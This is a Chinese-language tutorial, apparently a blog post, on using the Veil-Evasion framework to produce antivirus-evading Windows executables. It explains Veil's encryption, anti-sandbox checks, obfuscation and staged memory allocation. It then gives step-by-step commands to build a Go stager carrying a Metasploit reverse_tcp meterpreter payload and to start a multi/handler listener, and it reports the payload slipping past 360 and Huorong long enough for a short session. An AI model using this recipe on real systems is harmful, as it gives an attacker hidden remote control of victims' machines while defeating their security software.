Veil、Venom和Shellter是三大老牌免杀工具,Veil-Evasion是一个用python写的免杀框架,可以将任意脚本或一段shellcode转换成Windows可执行文件,也可利用metasploit框架生成相兼容的payload工具,从而规避防护检测

0x01 Veil文件免杀原理

Veil使用以下方法实现文件免杀

  • 将pyaload以加密形式保存

aes

des

……

  • 判断运行环境是否是目标的运行环境(反沙箱、反虚拟机)

进程数量

CPU核数

当前计算机加入的域的名称

当前计算机的计算机名

当前系统的用户名

当前running的进程数

  • 混淆

对源代码中的变量名进行混淆

  • 内存申请方式

stager以RW权限申请内存->将shellcode写入这部分内存->将内存权限从RW更改为RX->调用C reateThread和WaitForSingleObject

内存申请方式

传统的内存申请方式:stager程序使用RWX权限申请内存,将shellcode写入这部分内存,创建一个线程来执行shellcode,等待sehllcode完成运行(既退出meterpreterhuo或Beacon)即可退出stager程序

“传统的内存申请方式”可能被反病毒引擎、沙箱引擎视为恶意的

为了内存免杀效果,Veil从3.1版本开始,shellcode_inject几乎不会使用“传统内存申请方式”申请内存空间,而 是使用“渐进的内存申请方式”

渐进的内存申请方式:stager程序以RW(读写)权限申请内存,此时的stager程序能够将shellcode写入这部分内存。stager将调用[VirtualProtect]函(https://docs.microsoft.com/zh-cn/windows/desktop/api/memoryapi/nf-memoryapi-virtualprotect)将内存权限从RW更改为RX(读,执行),然后stager将继续正常调用CreateThread和WaitForSingleObject将内存权限从RW更改为RX(读,执行),然后stager将继续正常调用CreateThread和WaitForSingleObject。)

0x02 Veil安装

veil地址:https://github.com/Veil-Framework/Veil

由于其他方法存在一些报错,比较难装,这里就直接用docker

docker安装

拉取veil镜像

1
docker pull mattiasohlsson/veil

拉取成功后,执行

1
docker run -it -v /tmp/veil-output:/var/lib/veil/output:Z mattiasohlsson/veil

-v /tmp/veil-output:/var/lib/veil/output:Z是将宿主机的/tmp/veil-output目录映射到docker里面,这样veil生成的payload可以直接在宿主机里使用。

启动进入镜像可以在启动镜像后使用如下命令

1
docker exec -it 4ae72dc914c9 /bin/bash

0x03 Veil使用

veil有两个免杀工具,Evasion和Ordnance,Ordnance可生成在Veil-Evasion中使用shell code,Evasion用来做文件免杀

一般选择Evasion

1
2
Veil>: use 1  //选择Evasion功能
Veil/Evasion>: list //查看payload列表

使用list命令,可以看到有41种stager

使用go和ruby语言encode的编码方式,免杀效果更好,在Veil中可以直接生成支持msf的payload,这里用go语言生成msf的payload

0x04 使用veil直接生成exe

1
Veil/Evasion>: use 16

设置好msf的监听主机和端口就可以

然后设置生成的payload的名称,这里用pentest_msf

如下生成payload了

因之前已经做过映射,所以在宿主机/tmp/veil-output/compiled目录可字节看到生成的exe文件

在msf中监听

1
2
3
4
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lport 3334
msf5 exploit(multi/handler) > set lport 192.168.197.215
msf5 exploit(multi/handler) > exploit

上线

360和火绒均未报毒,测试的时候连网了,过一会儿就报毒,应该是上传样本后被检测出来了,作为短时上线还可以

virustotal.com检测 49/71

veil生成shellcode编译留在之后再说,搞了半天用use 17 没成功

参考资料

渗透利器Cobalt Strike - 第2篇 APT级的全面免杀与企业纵深防御体系的对抗:https://xz.aliyun.com/t/4191#toc-6

远控免杀专题(5)-Veil免杀:https://mp.weixin.qq.com/s/-PHVIAQVyU8QIpHwcpN4yw